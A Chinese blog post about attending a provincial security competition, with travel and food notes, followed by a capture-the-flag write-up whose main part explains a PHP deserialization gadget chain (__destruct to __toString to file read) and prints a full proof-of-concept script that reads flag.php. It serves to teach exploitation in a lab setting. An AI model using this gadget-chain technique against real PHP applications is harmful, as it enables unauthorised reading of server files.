今年二战省设计大赛,依旧是安恒出的题目
先分享一波日常先
去年是在清远,今年在惠州(坐车确实晕,一直没敢看手机)
到酒店先和零神(Ai大手子zero)面基了,严肃学习中…

和零神一起吃了个饭,这个鸡真的夯爆了!没吃过这么好吃的盐焗鸡

(在某个农庄吃的,名字忘了)

(还有这个红烧肉!!!)
晚上在酒店里研究题目,猜第二天会有什么题

第二次成为参赛选手**✌**


准备比赛了
战况

Code share

签到题
Ctrl+u就有flag

Pooop
很简单的php反序列化

打开题目能看到源码,复制到本地进行调试

有三个类,FileReader,DataProcessor,OutPutHandler
首先FileReader里面写了一个read方法,判断文件是否存在,存在则读取并且输出

但是这个方法不会自动调用,继续找利用点

在DataProcessor可以发现有个process方法,DataProcessor的成员变量reader的read方法,是Public,可控,传入FileReader作为reader的值,即可调用FileReader的read,再继续找哪里调用了process
在DataProcessor的__tostring有发现调用,__tostring是一个魔术方法,在对象当作字符串输出时会触发调用,接下来找一个输出点即可,把DataProcessor对象作为输出内容即可

往下找到OutPutHandler,发现有个render方法进行了输出

输出的内容是processor,一个public的成员变量
创建一个DataProcessor的对象传入即可,触发输出(__tostring调用)
再往下可以发现__destruct调用render,__destruct在程序结束时会自动调用
由此形成闭环
__destruct调用render,render触发__tostring调用process,process调用read,read读取flag.php
以下是POC脚本
//flag in flag.php
class FileReader {
public $filename;
public $content;
public function __construct($filename = '') {
$this->filename = $filename;
$this->content = '';
}
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return null;
}
public function __toString() {
return $this->content;
}
}
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
public function process() {
if ($this->reader !== null && method_exists($this->reader, 'read')) {
return $this->reader->read();
}
return null;
}
public function __toString() {
return $this->process();
}
}
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
public function render() {
if ($this->processor === null) {
return '';
}
$output = $this->processor;
if ($this->format === 'html') {
return '<pre>' . htmlspecialchars($output) . '</pre>';
}
return $output;
}
public function __destruct() {
$this->render();
}
}
$FR=new FileReader('flag.php');
$DP=new DataProcessor($FR,123);
$OH=new OutputHandler($DP,'html');
$a=serialize($OH);
echo $a;
unserialize($a);
?>
反序列化后,Flag需要ctrl+u查看源代码得到

评论(0)
暂无评论